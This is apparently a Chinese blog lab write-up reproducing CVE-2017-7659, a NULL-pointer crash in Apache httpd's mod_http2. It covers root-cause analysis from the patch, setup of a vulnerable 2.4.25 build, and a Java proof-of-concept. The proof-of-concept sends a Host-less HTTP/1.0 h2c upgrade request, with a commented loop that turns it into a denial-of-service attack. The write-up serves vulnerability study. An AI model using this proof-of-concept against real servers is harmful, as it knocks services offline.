摘要:有漏洞的服務器源碼下載鏈接通過補丁的修改進行漏洞成因的逆向分析。我們編寫了的程序,同時發起多個畸形請求,以不斷觸發后臺崩潰,并讓服務器不斷陷入重新分配的處理之中。
一、實驗原理介紹
apache在其網站發布的安全公告,針對CVE-2017-7659漏洞的介紹是這樣的:
A maliciously constructed HTTP/2 request could cause mod_http2 to dereference a NULL pointer and crashthe server process.
可以看到這是apache WEB服務器(httpd)中的一個HTTP 2.0協議處理的漏洞。
有漏洞的服務器源碼下載鏈接:https://archive.apache.org/di...
通過補丁的修改進行漏洞成因的逆向分析。首先查看漏洞函數h2_stream_set_request_rec,發現是調用h2_request_rcreat創建http 2.0請求的數據結構req,h2_request_rcreat執行失敗時req為空,此時在日志函數ap_log_rerror中直接解引用req導致進程崩潰:
繼續查看函數h2_request_rcreate,看到首先會把req置為0,然后判斷4個變量r->method,scheme,r->hostname,path,任何一個為空則返回失敗,而此時req還是0,就會導致進程崩潰:
那么這4個變量是哪一個為空導致的漏洞呢?scheme是先判斷了是否為空再賦值的,首先排除;path是從r->parsed_uri中解析出來,解析函數apr_uri_unparse在其它地方有多次使用,直覺path也不會為空;r->method保存請求的方法字段,在HTTP請求中必須存在,因此也不應該為空;因此只有r->hostname,保存請求的主機名,也就是域名,可能為空。
我們知道,HTTP請求中,有2個地方可以表示主機名:
1) 請求的路徑以完整URL方式表示,URL中包含主機名,例如GET http://www.example.com/ HTTP/1.1,這里主機名就是 www.example.com。服務器中是在ap_parse_uri函數中解析這種主機名的
2) 在Host請求頭中包含主機名,例如:
GET / HTTP/1.1
Host: www.example.com
服務器中是在fix_hostname函數中解析這種主機名的分別審計ap_parse_uri和fix_hostname函數,發現如果請求中沒有Host頭,那么r->hostname確實是空。但是服務器也考慮到了這種情況,在ap_read_request函數中做了判斷:
這里的判斷邏輯,如果滿足下面2個條件之一
1) r->hostname為空,且請求的HTTP版本大于等于1.1
2) 沒有Host頭,且請求的HTTP版本等于1.1
就會立刻回復400狀態碼的錯誤頁面,并不會觸發后面的漏洞。在注釋里也說明了,HTTP/1.1的RFC2616的14.23節中明確指明,HTTP/1.1請求必須包含Host頭。
但是,HTTP還有1.0版本,且HTTP/1.0和HTTP/1.1的處理流程一樣,雖然HTTP/1.0確實沒有規定請求必須包含Host頭。因此HTTP/1.0請求是可以沒有Host頭的,程序會一直按照流程執行,最終執行到h2_stream_set_request_rec函數,此時r->hostname為空,從而觸發漏洞。
綜合上面的分析,該漏洞利用成功需要如下條件:
1) 服務器支持HTTP/2二、環境配置介紹 1)、實驗的環境CentOS 7,2.4.25版本的Apache Httpd服務器 2)、Apache的安裝前的準備工作
2) 請求是HTTP/1.0版本
3) 請求中沒有Host頭
安裝Sqllite # wget http://www.sqlite.org/2014/sqlite-autoconf-3080704.tar.gz # tar zxf sqlite-autoconf-3080704.tar.gz # cd sqlite-autoconf-3080704 # ./configure --prefix=/usr/local/sqlite-3.8.7.4 # make && make install 安裝apr # wget http://archive.apache.org/dist/apr/apr-1.5.2.tar.gz # tar zxf apr-1.5.2.tar.gz # cd apr-1.5.2 # ./configure --prefix=/usr/local/apr-1.5.2 # make && make install 安裝apr-util # wget http://archive.apache.org/dist/apr/apr-util-1.5.4.tar.gz # tar zxf apr-util-1.5.4.tar.gz # cd apr-util-1.5.4 # ./configure --prefix=/usr/local/apr-util-1.5.4 --with-apr=/usr/local/apr-1.5.2 # make && make install 安裝nghttp2 # wget https://fossies.org/linux/www/nghttp2-1.38.0.tar.gz # tar zxf nghttp2-1.38.0.tar.gz # cd nghttp2-1.38.0 # ./configure --prefix=/usr/local/nghttp2-1.38.0 # make && make install # 最后安裝2.4.25版本的Apache服務器 # cd /usr/local/src # wget http://archive.apache.org/dist/httpd/httpd-2.4.25.tar.gz # cd httpd-2.4.25 # ./configure --prefix=/usr/local/apache-2.4.25 --with-apr=/usr/local/apr-1.5.2 --with-apr=/usr/local/apr-1.5.2 --with-nghttp2=/usr/local/nghttp2-1.38.0 --enable-http2 --enable-dav --enable-so --enable-maintainer-mod --enable-rewrite --with-sqlite=/usr/local/sqlite-3.8.7.4 # make && make install # cp /usr/local/apache-2.4.25/conf/httpd.conf /usr/local/apache-2.4.25/conf/httpd.conf.default # ln -s /usr/local/apache-2.4.25/ /usr/local/apache3)、修改配置文件httpd.conf,并測試Apache是否能運行
如果提示說沒有mod_http2.so,可以使用下面的命令編譯生成
/opt/httpd/httpd/bin/apxs -c mod_http2.c
/opt/httpd/httpd/bin/apxs -i -a -n http2 mod_http2.la
注:在下載的源碼modules文件夾那里執行
至此,實驗的環境已經搭建好。
三、實驗過程詳細介紹 1. 首先起一個單一進程的apache httpd服務,方便驗證進程崩潰后的效果訪問瀏覽器: 正常訪問
2、編寫Java程序,發送惡意請求嘗試發送漏洞請求過去,觸發服務器的漏洞函數
public class HttpTest extends Thread{ public void createSocket() { } public void communcate() throws IOException { // 注意這里必須制定請求方式 地址 注意空格 Socket socket = new Socket("192.168.179.112", 8888); OutputStream os = socket.getOutputStream(); InputStream is = socket.getInputStream(); StringBuffer sb = new StringBuffer("GET / HTTP/1.0 "); // 以下為請求頭 sb.append("User-Agent: curl/7.50.1 "); //sb.append("Host: 39.108.122.247 "); sb.append("Accept: */* "); sb.append("Connection: Upgrade, HTTP2-Settings "); sb.append("Upgrade: h2c "); sb.append("HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA "); //sb.append("Content-Length: 2 "); // 注意這里要換行結束請求頭 sb.append(" "); System.out.println(sb.toString()); try { os.write(sb.toString().getBytes()); ByteArrayOutputStream baos = new ByteArrayOutputStream(); /*byte[] bytes = new byte[1024]; int len = -1; int i =0 ; while ((len = is.read(bytes)) != -1) { baos.write(bytes, 0, len); } System.out.println(new String(baos.toByteArray())); */ socket.close(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } @Override public void run() { createSocket(); // Dos攻擊 /*while (true) { try { communcate(); } catch (IOException e) { e.printStackTrace(); } }*/ try { communcate(); } catch (IOException e) { e.printStackTrace(); } } /* GET / HTTP/1.1 Connection: Upgrade, HTTP2-Settings Upgrade: h2c HTTP2-Settings:*/ public static void main(String[] args) { // for(int i =0; i<100 ;++i) { HttpTest client = new HttpTest(); client.start(); // } } }
漏洞成功復現:
此時瀏覽器也訪問不了
3、如果是多進程的apache httpd服務
當worker進程崩潰時,apache會自動啟動新的worker進程。那么在真實的網絡環境中,黑客會如何利用此漏洞對服務器進行攻擊呢?
修改上面的Java代碼,發送Dos攻擊
apache 服務器全部worker進程都崩潰了!
這個實驗的難點是分析漏洞的發生原因、實驗環境的配置。首先,在linux上安裝Apache Http 2.4.25這個版本的服務器,參考網上的一些教程安裝,發現過程是不全的,只能靠自己去根據控制臺打印的錯誤日志去找原因,為了讓Apache服務器支持Http2.0,mod_http2.so這個module一直報錯,后來安裝配置了nghttp2重新編譯才能成功開啟服務器。安裝好實驗環境后,寫了一段Java程序去驗證,發送Http1.0的請求并且不帶Host消息頭,一開始創建了1000個線程發送1000個“惡意請求”,發現Apache服務器并沒有宕機,百思不得其解,調了一個下午都沒有成功,在隊友的電腦也是這樣的問題。之后不斷地查閱資料,并且嘗試去看源碼,發現需要在配置文件里面設置日志級別為debug才會觸發漏洞,默認是info級別,這點在官網上并沒有描述,這個服務器如果是沒有設置為debug級別是不會執行漏洞函數的,解決了這個大坑之后,服務器終于崩潰(出現了Segmentation fault這個段異常,即內部有空指針異常),但是Apache有保護機制,當worker進程崩潰時,apache會自動啟動新的worker進程。我們編寫了的程序,同時發起多個畸形請求,以不斷觸發后臺worker崩潰,并讓apache服務器不斷陷入重新分配worker的處理之中。基于漏洞發生的場景可以得出,解決這個漏洞的關鍵是就是增加了對h2_request_rcreate函數返回值的判斷即可。
參考鏈接:https://www.cnblogs.com/brish...
https://www.cnblogs.com/quche...
https://www.freebuf.com/vuls/...
文章版權歸作者所有,未經允許請勿轉載,若此文章存在違規行為,您可以聯系管理員刪除。
轉載請注明本文地址:http://specialneedsforspecialkids.com/yun/36019.html
摘要:摘要今年的先知白帽大會,與會者將能夠親身感受到非常多有趣的技術議題,如在國際賽事中屢奪佳績的團隊,其隊長將親臨現場,分享穿針引線般的漏洞利用藝術。從數據視角探索安全威脅阿里云安全工程師議題解讀本議題討論了數據為安全人員思維方式帶來的變化。 摘要: 今年的先知白帽大會,與會者將能夠親身感受到非常多有趣的技術議題,如HITCON在國際賽事中屢奪佳績的CTF團隊,其隊長Orange將親臨現場...
摘要:進攻即是最好的防御個練習黑客技術的在線網站進攻即是最好的防御,這句話同樣適用于信息安全的世界。社區有接近萬的注冊會員也是最大的一個黑客社區之一。 進攻即是最好的防御!19個練習黑客技術的在線網站 進攻即是最好的防御,這句話同樣適用于信息安全的世界。這里羅列了19個合法的來練習黑客技術的網站,不管你是一名開發人員、安全工程師、代碼審計師、滲透測試人員,通過不斷的練習才能讓你成為一個優秀安...
摘要:安全之漏洞分析安全之漏洞分析前言前言看到個別代碼常出現里面有一些組件,沒去仔細研究過該漏洞。文件寫入成功重新打開文件發現內容已經發生了變化整理整理請求請求調用該方式寫文件需要解析,遇到就涼涼。至此再一次佩服漏洞挖掘者。Java安全之Axis漏洞分析0x00 前言看到個別代碼常出現里面有一些Axis組件,沒去仔細研究過該漏洞。研究記錄一下。0x01 漏洞復現漏洞版本:axis=]]> ...
閱讀 889·2023-04-26 02:16
閱讀 1197·2019-08-30 15:55
閱讀 2788·2019-08-30 15:53
閱讀 3382·2019-08-29 15:38
閱讀 2884·2019-08-29 13:42
閱讀 1980·2019-08-26 13:34
閱讀 1833·2019-08-26 10:10
閱讀 3075·2019-08-23 14:40